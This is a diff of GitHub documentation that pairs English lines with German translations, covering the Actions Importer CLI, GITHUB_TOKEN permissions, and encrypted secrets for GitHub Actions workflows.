$ gh actions-importer update
```
You must be authenticated with the {% data variables.product.prodname_container_registry %} for this command to be successful. Alternatively, you can provide credentials using the `--username` and `--password-stdin` parameters:
Du musst bei {% data variables.product.prodname_container_registry %} authentifiziert sein, damit dieser Befehl erfolgreich ausgeführt wird. Alternativ kannst du Anmeldeinformationen mithilfe der Parameter `--username` und `--password-stdin` angeben:
```bash
$ echo $GITHUB_TOKEN | gh actions-importer update --username $GITHUB_HANDLE --password-stdin
```
### Authenticating at the command line
### Authentifizieren über die Befehlszeile
You must configure credentials that allow {% data variables.product.prodname_actions_importer %} to communicate with {% data variables.product.prodname_dotcom %} and your current CI server. You can configure these credentials using environment variables or a `.env.local` file. The environment variables can be configured in an interactive prompt, by running the following command:
Du musst Anmeldeinformationen konfigurieren, die es {% data variables.product.prodname_actions_importer %} ermöglichen, mit {% data variables.product.prodname_dotcom %} und deinem aktuellen CI-Server zu kommunizieren. Du kannst diese Anmeldeinformationen mithilfe von Umgebungsvariablen oder einer `.env.local`-Datei konfigurieren. Die Umgebungsvariablen können in einer interaktiven Eingabeaufforderung konfiguriert werden, indem du den folgenden Befehl ausführst:
```bash
$ gh actions-importer configure
```
Once you are granted access to the preview, you will be able to access further reference documentation about using environment variables.
Sobald du Zugang zur Vorschauversion hast, kannst du auf weiterführende Referenzdokumentationen zur Verwendung von Umgebungsvariablen zugreifen.
## Using the {% data variables.product.prodname_actions_importer %} CLI
## Verwenden der {% data variables.product.prodname_actions_importer %}-CLI
Use the subcommands of `gh actions-importer` to begin your migration to {% data variables.product.prodname_actions %}, including `audit`, `forecast`, `dry-run`, and `migrate`.
Verwende die Unterbefehle von `gh actions-importer`, um die Migration zu {% data variables.product.prodname_actions %} zu beginnen, einschließlich `audit`, `forecast`, `dry-run` und `migrate`.
### Auditing your existing CI pipelines
### Überwachen vorhandener CI-Pipelines
The `audit` subcommand can be used to plan your CI/CD migration by analyzing your current CI/CD footprint. This analysis can be used to plan a timeline for migrating to {% data variables.product.prodname_actions %}.
Der Unterbefehl `audit` kann verwendet werden, um die CI/CD-Migration zu planen, indem der aktuelle CI/CD-Speicherbedarf analysiert wird. Diese Analyse kann verwendet werden, um eine Zeitachse für die Migration zu {% data variables.product.prodname_actions %} zu entwerfen.
To run an audit, use the following command to determine your available options:
Um eine Überwachung auszuführen, verwende den folgenden Befehl, um die verfügbaren Optionen zu ermitteln:
```bash
$ gh actions-importer audit -h
@ -139,13 +143,13 @@ Commands:
travis-ci An audit will output a list of data used in a Travis CI instance.
```
Once you are granted access to the preview, you will be able to access further reference documentation about running an audit.
Sobald du Zugang zur Vorschauversion hast, kannst du auf weiterführende Referenzdokumentationen zur Durchführung einer Überwachung zugreifen.
### Forecasting usage
### Vorhersagen der Nutzung
The `forecast` subcommand reviews historical pipeline usage to create a forecast of {% data variables.product.prodname_actions %} usage.
Der Unterbefehl `forecast` überprüft die Pipelinenutzung in der Vergangenheit, um eine Prognose der {% data variables.product.prodname_actions %}-Nutzung zu erstellen.
To run a forecast, use the following command to determine your available options:
Um eine Vorhersage auszuführen, verwende den folgenden Befehl, um die verfügbaren Optionen zu ermitteln:
```bash
$ gh actions-importer forecast -h
@ -163,13 +167,13 @@ Commands:
github Forecasts GitHub Actions usage from historical GitHub pipeline utilization.
```
Once you are granted access to the preview, you will be able to access further reference documentation about running a forecast.
Sobald du Zugang zur Vorschauversion hast, kannst du auf weiterführende Referenzdokumentationen zur Ausführung einer Vorhersage zugreifen.
### Testing the migration process
### Testen des Migrationsprozesses
The `dry-run` subcommand can be used to convert a pipeline to its {% data variables.product.prodname_actions %} equivalent, and then write the workflow to your local filesystem.
Der Unterbefehl `dry-run` kann verwendet werden, um eine Pipeline in ihre {% data variables.product.prodname_actions %}-Entsprechung zu konvertieren und dann den Workflow in das lokale Dateisystem zu schreiben.
To perform a dry run, use the following command to determine your available options:
Um einen Testlauf auszuführen, verwende den folgenden Befehl, um die verfügbaren Optionen zu ermitteln:
```bash
$ gh actions-importer dry-run -h
@ -186,13 +190,13 @@ Commands:
travis-ci Convert a Travis CI pipeline to a GitHub Actions workflow and output its yaml file.
```
Once you are granted access to the preview, you will be able to access further reference documentation about performing a dry run.
Sobald du Zugang zur Vorschauversion hast, kannst du auf weiterführende Referenzdokumentationen zur Ausführung eines Testlaufs zugreifen.
### Migrating a pipeline to {% data variables.product.prodname_actions %}
### Migrieren einer Pipeline zu {% data variables.product.prodname_actions %}
The `migrate` subcommand can be used to convert a pipeline to its GitHub Actions equivalent and then create a pull request with the contents.
Der Unterbefehl `migrate` kann verwendet werden, um eine Pipeline in ihre GitHub Actions-Entsprechung zu konvertieren und dann einen Pull Request mit dem Inhalt zu erstellen.
To run a migration, use the following command to determine your available options:
Um eine Migration auszuführen, verwende den folgenden Befehl, um die verfügbaren Optionen zu ermitteln:
```bash
$ gh actions-importer migrate -h
@ -209,11 +213,11 @@ Commands:
travis-ci Convert a Travis CI pipeline to a GitHub Actions workflow and and open a pull request with the changes.
```
Once you are granted access to the preview, you will be able to access further reference documentation about running a migration.
Sobald du Zugang zur Vorschauversion hast, kannst du auf weiterführende Referenzdokumentationen zur Durchführung einer Migration zugreifen.
## Legal notice
## Rechtliche Hinweise
Portions have been adapted from https://github.com/github/gh-actions-importer/ under the MIT license:
Teile wurden von https://github.com/github/gh-actions-importer/ unter der MIT-Lizenz übernommen:
```
MIT License

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Automatic token authentication
intro: '{% data variables.product.prodname_dotcom %} provides a token that you can use to authenticate on behalf of {% data variables.product.prodname_actions %}.'
title: Automatische Tokenauthentifizierung
intro: '{% data variables.product.prodname_dotcom %} stellt ein Token zur Verfügung, mit dem du dich im Namen von {% data variables.product.prodname_actions %} authentifizieren kannst.'
redirect_from:
- /github/automating-your-workflow-with-github-actions/authenticating-with-the-github_token
- /actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token
@ -12,40 +12,44 @@ versions:
ghae: '*'
ghec: '*'
shortTitle: Automatic token authentication
ms.openlocfilehash: eacf395921d9d4be949657bf421cf1b9bee6908b
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148107037'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
## Informationen zum `GITHUB_TOKEN`-Geheimnis
## About the `GITHUB_TOKEN` secret
Zu Beginn jeder Workflowausführung erstellt {% data variables.product.prodname_dotcom %} automatisch ein eindeutiges `GITHUB_TOKEN`-Geheimnis zum Verwenden in deinem Workflow. Du kannst das `GITHUB_TOKEN` zum Authentifizieren in einer Workflowausführung verwenden.
At the start of each workflow run, {% data variables.product.prodname_dotcom %} automatically creates a unique `GITHUB_TOKEN` secret to use in your workflow. You can use the `GITHUB_TOKEN` to authenticate in a workflow run.
Wenn du {% data variables.product.prodname_actions %} aktivierst, installiert {% data variables.product.prodname_dotcom %} eine {% data variables.product.prodname_github_app %} in deinem Repository. Das `GITHUB_TOKEN`-Geheimnis ist ein Installationszugriffstoken der {% data variables.product.prodname_github_app %}. Du kannst das Installationszugriffs-Token verwenden, um Dich im Namen der auf deinem Repository installierten {% data variables.product.prodname_github_app %} zu authentifizieren. Die Berechtigungen des Tokens sind auf das Repository beschränkt, in dem sich der Workflow befindet. Weitere Informationen findest du unter [Berechtigungen für das `GITHUB_TOKEN`](#permissions-for-the-github_token).
When you enable {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dotcom %} installs a {% data variables.product.prodname_github_app %} on your repository. The `GITHUB_TOKEN` secret is a {% data variables.product.prodname_github_app %} installation access token. You can use the installation access token to authenticate on behalf of the {% data variables.product.prodname_github_app %} installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see "[Permissions for the `GITHUB_TOKEN`](#permissions-for-the-github_token)."
Vor Beginn jedes Auftrags ruft {% data variables.product.prodname_dotcom %} ein Installationszugriffstoken für den Auftrag ab. {% data reusables.actions.github-token-expiration %}
Before each job begins, {% data variables.product.prodname_dotcom %} fetches an installation access token for the job. {% data reusables.actions.github-token-expiration %}
Das Token ist auch im `github.token`-Kontext verfügbar. Weitere Informationen findest du unter [Kontexte](/actions/learn-github-actions/contexts#github-context).
The token is also available in the `github.token` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)."
## Verwenden des `GITHUB_TOKEN` in einem Workflow
## Using the `GITHUB_TOKEN` in a workflow
You can use the `GITHUB_TOKEN` by using the standard syntax for referencing secrets: {%raw%}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}. Examples of using the `GITHUB_TOKEN` include passing the token as an input to an action, or using it to make an authenticated {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API request.
Du kannst das `GITHUB_TOKEN` mit der Standardsyntax zum Verweisen auf Geheimnisse verwenden: {%raw%}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}. Beispiele zum Verwenden des `GITHUB_TOKEN` sind das Übergeben des Tokens als Eingabe für eine Aktion oder das Verwenden für eine authentifizierte API-Anforderung für {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}.
{% note %}
**Important:** An action can access the `GITHUB_TOKEN` through the `github.token` context even if the workflow does not explicitly pass the `GITHUB_TOKEN` to the action. As a good security practice, you should always make sure that actions only have the minimum access they require by limiting the permissions granted to the `GITHUB_TOKEN`. For more information, see "[Permissions for the `GITHUB_TOKEN`](#permissions-for-the-github_token)."
**Wichtig:** Eine Aktion kann über den `github.token`-Kontext auf das `GITHUB_TOKEN` zugreifen, auch wenn der Workflow das `GITHUB_TOKEN` nicht explizit für die Aktion übergibt. Als gute Sicherheitsmethode solltest du immer sicherstellen, dass Aktionen nur über den minimalen benötigten Zugriff verfügen, indem du die Berechtigungen für `GITHUB_TOKEN` einschränkst. Weitere Informationen findest du unter [Berechtigungen für das `GITHUB_TOKEN`](#permissions-for-the-github_token).
{% endnote %}
{% data reusables.actions.actions-do-not-trigger-workflows %}
### Example 1: passing the `GITHUB_TOKEN` as an input
### Beispiel 1: Übergeben des `GITHUB_TOKEN` als Eingabe
{% data reusables.actions.github_token-input-example %}
### Example 2: calling the REST API
### Beispiel 2: Aufrufen der REST-API
You can use the `GITHUB_TOKEN` to make authenticated API calls. This example workflow creates an issue using the {% data variables.product.prodname_dotcom %} REST API:
Du kannst das `GITHUB_TOKEN` für authentifizierte API-Aufrufe verwenden. Dieser Beispiel-Workflow erzeugt eine Lieferung („issue“) mittels der {% data variables.product.prodname_dotcom %}-REST-API:
```yaml
name: Create issue on commit
@ -71,55 +75,55 @@ jobs:
--fail
```
## Permissions for the `GITHUB_TOKEN`
## Berechtigungen für das `GITHUB_TOKEN`
For information about the API endpoints {% data variables.product.prodname_github_apps %} can access with each permission, see "[{% data variables.product.prodname_github_app %} Permissions](/rest/reference/permissions-required-for-github-apps)."
Weitere Informationen zu den API-Endpunkten, auf die {% data variables.product.prodname_github_apps %} mit den jeweiligen Berechtigungen zugreifen können, findest du unter [Berechtigungen von {% data variables.product.prodname_github_app %}](/rest/reference/permissions-required-for-github-apps).
The following table shows the permissions granted to the `GITHUB_TOKEN` by default. People with admin permissions to an {% ifversion not ghes %}enterprise, organization, or repository,{% else %}organization or repository{% endif %} can set the default permissions to be either permissive or restricted. For information on how to set the default permissions for the `GITHUB_TOKEN` for your enterprise, organization, or repository, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-workflow-permissions-in-your-enterprise)," "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#setting-the-permissions-of-the-github_token-for-your-organization)," or "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#setting-the-permissions-of-the-github_token-for-your-repository)."
In der folgenden Tabelle findest du die standardmäßig für das `GITHUB_TOKEN` erteilten Berechtigungen. Personen mit Administratorberechtigungen für ein {% ifversion not ghes %}Unternehmen, eine Organisation oder ein Repository,{% else %}eine Organisation oder ein Repository{% endif %} können die Standardberechtigungen entweder auf uneingeschränkt oder eingeschränkt festlegen. Weitere Informationen zum Festlegen der Standardberechtigungen für das `GITHUB_TOKEN` für dein Unternehmen, deine Organisation oder dein Repository findest du unter [Erzwingen von Richtlinien für {% data variables.product.prodname_actions %} in deinem Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-workflow-permissions-in-your-enterprise), [Deaktivieren oder Einschränken von {% data variables.product.prodname_actions %} für deine Organisation](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#setting-the-permissions-of-the-github_token-for-your-organization) oder [Verwalten von Einstellungen für {% data variables.product.prodname_actions %} für ein Repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#setting-the-permissions-of-the-github_token-for-your-repository).
| Scope | Default access<br>(permissive) | Default access<br>(restricted) | Maximum access<br>by forked repos |
| `Scope` | Standardzugriff<br>(uneingeschränkt) | Standardzugriff<br>(eingeschränkt) | Maximaler Zugriff<br>durch geforkte Repositorys |
|---------------|-----------------------------|-----------------------------|--------------------------------|
| actions | read/write | none | read |
| checks | read/write | none | read |
| contents | read/write | read | read |
| deployments | read/write | none | read |{% ifversion fpt or ghec %}
| id-token | none | none | read |{% endif %}
| issues | read/write | none | read |
| metadata | read | read | read |
| packages | read/write | none | read |
| pages | read/write | none | read |
| pull-requests | read/write | none | read |
| repository-projects | read/write | none | read |
| security-events | read/write | none | read |
| statuses | read/write | none | read |
| Aktionen | read/write (Lesen/Schreiben) | none | Lesen |
| checks (Überprüfungen) | read/write (Lesen/Schreiben) | none | Lesen |
| Inhalt | read/write (Lesen/Schreiben) | Lesen | Lesen |
| deployments | read/write (Lesen/Schreiben) | none | Lesen |{% ifversion fpt or ghec %}
| id-token | none | none | Lesen |{% endif %}
| issues | read/write (Lesen/Schreiben) | none | Lesen |
| metadata | Lesen | Lesen | Lesen |
| packages | read/write (Lesen/Schreiben) | none | Lesen |
| Seiten | read/write (Lesen/Schreiben) | none | Lesen |
| pull-requests | read/write (Lesen/Schreiben) | none | Lesen |
| repository-projects | read/write (Lesen/Schreiben) | none | Lesen |
| security-events | read/write (Lesen/Schreiben) | none | Lesen |
| statuses | read/write (Lesen/Schreiben) | none | Lesen |
{% data reusables.actions.workflow-runs-dependabot-note %}
### Modifying the permissions for the `GITHUB_TOKEN`
### Ändern der Berechtigungen für das `GITHUB_TOKEN`
You can modify the permissions for the `GITHUB_TOKEN` in individual workflow files. If the default permissions for the `GITHUB_TOKEN` are restrictive, you may have to elevate the permissions to allow some actions and commands to run successfully. If the default permissions are permissive, you can edit the workflow file to remove some permissions from the `GITHUB_TOKEN`. As a good security practice, you should grant the `GITHUB_TOKEN` the least required access.
Sie können die Berechtigungen für das `GITHUB_TOKEN` in einzelnen Workflowdateien ändern. Wenn die Standardberechtigungen für das `GITHUB_TOKEN` restriktiv sind, musst du die Berechtigungen eventuell erhöhen, damit manche Aktionen und Befehle erfolgreich ausgeführt werden können. Wenn die Standardberechtigungen nicht restriktiv sind, können Sie die Workflowdatei bearbeiten, um einige Berechtigungen aus dem `GITHUB_TOKEN` zu entfernen. Als bewährte Sicherheitsmethode sollten Sie dem `GITHUB_TOKEN` nur den geringsten erforderlichen Zugriff gewähren.
You can see the permissions that `GITHUB_TOKEN` had for a specific job in the "Set up job" section of the workflow run log. For more information, see "[Using workflow run logs](/actions/managing-workflow-runs/using-workflow-run-logs)."
Du kannst die Berechtigungen von `GITHUB_TOKEN` für einen bestimmten Auftrag im Abschnitt „Auftrag einrichten“ des Workflowausführungsprotokolls anzeigen. Weitere Informationen findest du unter [Verwenden von Workflowausführungsprotokollen](/actions/managing-workflow-runs/using-workflow-run-logs).
You can use the `permissions` key in your workflow file to modify permissions for the `GITHUB_TOKEN` for an entire workflow or for individual jobs. This allows you to configure the minimum required permissions for a workflow or job. When the `permissions` key is used, all unspecified permissions are set to no access, with the exception of the `metadata` scope, which always gets read access.
Du kannst den `permissions`-Schlüssel in deiner Workflowdatei verwenden, um Berechtigungen für das `GITHUB_TOKEN` für einen gesamten Workflow oder für einzelne Aufträge zu ändern. So kannst du die erforderlichen Mindestberechtigungen für einen Workflow oder Auftrag konfigurieren. Wenn der `permissions`-Schlüssel verwendet wird, werden alle nicht angegebenen Berechtigungen mit Ausnahme des Bereichs `metadata`, der immer Lesezugriff erhält, auf „Kein Zugriff“ festgelegt.
{% data reusables.actions.forked-write-permission %}
The two workflow examples earlier in this article show the `permissions` key being used at the workflow level, and at the job level. In [Example 1](#example-1-passing-the-github_token-as-an-input) the two permissions are specified for the entire workflow. In [Example 2](#example-2-calling-the-rest-api) write access is granted for one scope for a single job.
Die beiden zuvor in diesem Artikel beschriebenen Workflowbeispiele zeigen, wie der `permissions`-Schlüssel auf Workflowebene und auf Auftragsebene verwendet wird. In [Beispiel 1](#example-1-passing-the-github_token-as-an-input) werden die beiden Berechtigungen für den gesamten Workflow angegeben. In [Beispiel 2](#example-2-calling-the-rest-api) wird Schreibzugriff für einen Bereich eines einzelnen Auftrags gewährt.
For full details of the `permissions` key, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#permissions)."
Vollständige Informationen zum `permissions`-Schlüssel findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#permissions).
#### How the permissions are calculated for a workflow job
#### Berechnen der Berechtigungen für einen Workflowauftrag
The permissions for the `GITHUB_TOKEN` are initially set to the default setting for the enterprise, organization, or repository. If the default is set to the restricted permissions at any of these levels then this will apply to the relevant repositories. For example, if you choose the restricted default at the organization level then all repositories in that organization will use the restricted permissions as the default. The permissions are then adjusted based on any configuration within the workflow file, first at the workflow level and then at the job level. Finally, if the workflow was triggered by a pull request from a forked repository, and the **Send write tokens to workflows from pull requests** setting is not selected, the permissions are adjusted to change any write permissions to read only.
Die Berechtigungen für das `GITHUB_TOKEN` werden zunächst auf die Standardeinstellung für das Unternehmen, die Organisation oder das Repository festgelegt. Wenn die Standardeinstellung auf einer dieser Ebenen auf eingeschränkte Berechtigungen festgelegt ist, gilt dies für die relevanten Repositorys. Wenn du beispielsweise den eingeschränkten Standard auf Organisationsebene auswählst, verwenden alle Repositorys in dieser Organisation standardmäßig die eingeschränkten Berechtigungen. Die Berechtigungen werden dann zuerst auf Workflowebene und schließlich auf Auftragsebene basierend auf den Konfigurationen in der Workflowdatei angepasst. Wenn der Workflow schließlich von einem Pull Request aus einem geforkten Repository ausgelöst wurde und die Einstellung **Schreibtoken aus Pull Requests an Workflows senden** nicht ausgewählt ist, werden die Berechtigungen so angepasst, dass Schreibberechtigungen in schreibgeschützt geändert werden.
### Granting additional permissions
### Erteilen zusätzlicher Berechtigungen
If you need a token that requires permissions that aren't available in the `GITHUB_TOKEN`, you can create a {% data variables.product.pat_generic %} and set it as a secret in your repository:
Wenn du ein Token benötigst, dass Berechtigungen erfordert, die nicht im `GITHUB_TOKEN` verfügbar sind, kannst du ein {% data variables.product.pat_generic %} erstellen und als Geheimnis in deinem Repository festlegen:
1. Use or create a token with the appropriate permissions for that repository. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."
1. Add the token as a secret in your workflow's repository, and refer to it using the {%raw%}`${{ secrets.SECRET_NAME }}`{% endraw %} syntax. For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
1. Verwende oder erstelle ein Token mit den entsprechenden Berechtigungen für dieses Repository. Weitere Informationen findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token).
1. Füge das Token dem Repository deines Workflows als Geheimnis hinzu, und verweise darauf, indem du die Syntax {%raw%}`${{ secrets.SECRET_NAME }}`{% endraw %} verwendest. Weitere Informationen findest du unter [Erstellen und Verwenden verschlüsselter Geheimnisse](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets).
### Further reading
### Weitere Informationsquellen
- "[Resources in the REST API](/rest/overview/resources-in-the-rest-api#rate-limiting)"
- [Ressourcen in der REST-API](/rest/overview/resources-in-the-rest-api#rate-limiting)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Encrypted secrets
intro: 'Encrypted secrets allow you to store sensitive information in your organization{% ifversion fpt or ghes or ghec %}, repository, or repository environments{% else %} or repository{% endif %}.'
title: Verschlüsselte Geheimnisse
intro: 'Verschlüsselte Geheimnisse ermöglichen es dir, vertrauliche Informationen in deiner Organisation{% ifversion fpt or ghes or ghec %}, deinem Repository oder deinen Repositoryumgebungen{% else %} oder deinem Repository zu speichern{% endif %}.'
redirect_from:
- /github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets
- /actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets
@ -8,83 +8,84 @@ redirect_from:
- /actions/configuring-and-managing-workflows/using-variables-and-secrets-in-a-workflow
- /actions/reference/encrypted-secrets
- /actions/managing-workflows/storing-secrets
miniTocMaxHeadingLevel: 3
versions:
fpt: '*'
ghes: '*'
ghae: '*'
ghec: '*'
ms.openlocfilehash: 4f45a2e0a3ac0c93215f7e4a095c2b8033450808
ms.sourcegitcommit: aa488e9e641139f9056885b1479c8801e9906131
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/11/2022
ms.locfileid: '148162799'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
## Informationen zu verschlüsselten Geheimnissen
## About encrypted secrets
Secrets are encrypted environment variables that you create in an organization, repository, or repository environment. The secrets that you create are available to use in {% data variables.product.prodname_actions %} workflows. {% data variables.product.prodname_dotcom %} uses a [libsodium sealed box](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) to help ensure that secrets are encrypted before they reach {% data variables.product.prodname_dotcom %} and remain encrypted until you use them in a workflow.
Geheimnisse sind verschlüsselte Umgebungsvariablen, die du in einer Organisation, einem Repository oder einer Repositoryumgebung erstellst. Du kannst diese Geheimnisse in {% data variables.product.prodname_actions %}-Workflows verwenden. Mithilfe eines [versiegelten Libsodium-Felds](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) stellt {% data variables.product.prodname_dotcom %} sicher, dass die Geheimnisse verschlüsselt werden, bevor sie {% data variables.product.prodname_dotcom %} erreichen, und dies bis zur Verwendung in einem Workflow auch bleiben.
{% data reusables.actions.secrets-org-level-overview %}
For secrets stored at the environment level, you can enable required reviewers to control access to the secrets. A workflow job cannot access environment secrets until approval is granted by required approvers.
Zur Steuerung des Zugriffs auf Geheimnisse, die auf der Umgebungsebene gespeichert sind, kannst du genehmigende Personen aktivieren. So kann ein Workflowauftrag erst dann auf Umgebungsgeheimnisse zugreifen, nachdem eine genehmigende Person die entsprechende Genehmigung erteilt hat.
{% ifversion fpt or ghec or ghes > 3.4 %}
{% note %}
**Note**: {% data reusables.actions.about-oidc-short-overview %}
**Hinweis**: {% data reusables.actions.about-oidc-short-overview %}
{% endnote %}
{% endif %}
### Naming your secrets
### Benennen von Geheimnissen
{% data reusables.codespaces.secrets-naming %}
For example, a secret created at the environment level must have a unique name in that environment, a secret created at the repository level must have a unique name in that repository, and a secret created at the organization level must have a unique name at that level.
So muss ein auf der Umgebungsebene erstelltes Geheimnis einen eindeutigen Namen in dieser Umgebung besitzen, ein auf der Repositoryebene erstelltes Geheimnis einen eindeutigen Namen in diesem Repository und ein auf der Organisationsebene erstelltes Geheimnis einen eindeutigen Namen auf dieser Ebene.
{% data reusables.codespaces.secret-precedence %} Similarly, if an organization, repository, and environment all have a secret with the same name, the environment-level secret takes precedence.
{% data reusables.codespaces.secret-precedence %} Analog dazu hat bei einem Geheimnis mit demselben Namen in einer Organisation, einem Repository und einer Umgebung das Geheimnis auf Umgebungsebene Vorrang.
To help ensure that {% data variables.product.prodname_dotcom %} redacts your secret in logs, avoid using structured data as the values of secrets. For example, avoid creating secrets that contain JSON or encoded Git blobs.
Damit {% data variables.product.prodname_dotcom %} dein Geheimnis in Protokollen bearbeitet, verwende keine strukturierten Daten als Werte von Geheimnissen. Vermeide beispielsweise Geheimnisse zu erstellen, die JSON oder codierte Git-Blobs enthalten.
### Accessing your secrets
### Zugreifen auf Geheimnisse
To make a secret available to an action, you must set the secret as an input or environment variable in the workflow file. Review the action's README file to learn about which inputs and environment variables the action expects. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepsenv)."
Um ein Geheimnis für eine Aktion verfügbar zu machen, legest du das Geheimnis als Eingabe oder Umgebungsvariable in der Workflow-Datei fest. In der README-Datei der Aktion erfährst Du, welche Eingaben und Umgebungsvariablen die Aktion erwartet. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepsenv).
You can use and read encrypted secrets in a workflow file if you have access to edit the file. For more information, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/access-permissions-on-github)."
Du kannst verschlüsselte Geheimnisse in einer Workflow-Datei verwenden und lesen, wenn du auf die Datei Bearbeitungs-Zugriff hast. Weitere Informationen findest du unter [Zugriffsberechtigungen für {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/access-permissions-on-github).
{% data reusables.actions.secrets-redaction-warning %}
Organization and repository secrets are read when a workflow run is queued, and environment secrets are read when a job referencing the environment starts.
Geheimnisse auf der Organisations- und Repositoryebene werden gelesen, wenn eine Workflowausführung in die Warteschlange eingereiht wird, während Geheimnisse auf der Umgebungsebene beim Starten eines Auftrags gelesen werden, der auf die Umgebung verweist.
You can also manage secrets using the REST API. For more information, see "[Secrets](/rest/reference/actions#secrets)."
Mit der REST-API kannst du Geheimnisse auch verwalten. Weitere Informationen findest du unter [Geheimnisse](/rest/reference/actions#secrets).
### Limiting credential permissions
### Einschränken von Berechtigungen für Anmeldeinformationen
When generating credentials, we recommend that you grant the minimum permissions possible. For example, instead of using personal credentials, use [deploy keys](/developers/overview/managing-deploy-keys#deploy-keys) or a service account. Consider granting read-only permissions if that's all that is needed, and limit access as much as possible. When generating a {% data variables.product.pat_v1 %}, select the fewest scopes necessary.{% ifversion pat-v2 %} When generating a {% data variables.product.pat_v2 %}, select the minimum repository access required.{% endif %}
Beim Generieren von Anmeldeinformationen wird empfohlen, möglichst geringe Berechtigungen zu erteilen. Verwende z. B. anstelle von persönlichen Anmeldeinformationen [Bereitstellungsschlüssel](/developers/overview/managing-deploy-keys#deploy-keys) oder ein Dienstkonto. Ziehe in Erwägung, Nur-Lese-Berechtigungen zu gewähren, wenn dies ausreicht, und schränke den Zugriff so weit wie möglich ein. Wähle beim Generieren eines {% data variables.product.pat_v1 %} nur die nötigsten Bereiche aus.{% ifversion pat-v2 %} Wähle beim Generieren eines {% data variables.product.pat_v2 %} die geringstmögliche Zugriffsberechtigung für das Repository aus.{% endif %}
{% note %}
**Note:** You can use the REST API to manage secrets. For more information, see "[{% data variables.product.prodname_actions %} secrets API](/rest/reference/actions#secrets)."
**Hinweis**: Mit der REST-API kannst du Geheimnisse verwalten. Weitere Informationen findest du unter [API für {% data variables.product.prodname_actions %}-Geheimnisse](/rest/reference/actions#secrets).
{% endnote %}
## Creating encrypted secrets for a repository
## Erstellen verschlüsselter Geheimnisse für ein Repository
{% data reusables.actions.permissions-statement-secrets-repository %}
{% webui %}
{% data reusables.repositories.navigate-to-repo %}
{% data reusables.repositories.sidebar-settings %}
{% data reusables.actions.sidebar-secret %}
1. Click **New repository secret**.
1. Type a name for your secret in the **Name** input box.
1. Enter the value for your secret.
1. Click **Add secret**.
{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.actions.sidebar-secret %}
1. Klicke auf **Neues Repositorygeheimnis**.
1. Gib einen Namen für dein Geheimnis in das Eingabefeld **Name** ein.
1. Gib den Wert für das Geheimnis ein.
1. Klicke auf **Geheimnis hinzufügen**.
If your repository has environment secrets or can access secrets from the parent organization, then those secrets are also listed on this page.
Wenn dein Repository über Umgebungsgeheimnisse verfügt oder auf Geheimnisse der übergeordneten Organisation zugreifen kann, werden diese Geheimnisse auch auf dieser Seite aufgeführt.
{% endwebui %}
@ -92,48 +93,46 @@ If your repository has environment secrets or can access secrets from the parent
{% data reusables.cli.cli-learn-more %}
To add a repository secret, use the `gh secret set` subcommand. Replace `secret-name` with the name of your secret.
Verwende zum Hinzufügen eines Geheimnisses auf Repositoryebene den Unterbefehl `gh secret set`. Ersetze `secret-name` durch den Namen deines Geheimnisses.
```shell
gh secret set SECRET_NAME
```
The CLI will prompt you to enter a secret value. Alternatively, you can read the value of the secret from a file.
Du wirst von der CLI zur Eingabe eines Werts für das Geheimnis aufgefordert. Alternativ kannst du den Wert des Geheimnisses aus einer Datei lesen.
```shell
gh secret set SECRET_NAME < secret.txt
```
To list all secrets for the repository, use the `gh secret list` subcommand.
Verwende zum Auflisten aller Geheimnisse für das Repository den Unterbefehl `gh secret list`.
{% endcli %}
## Creating encrypted secrets for an environment
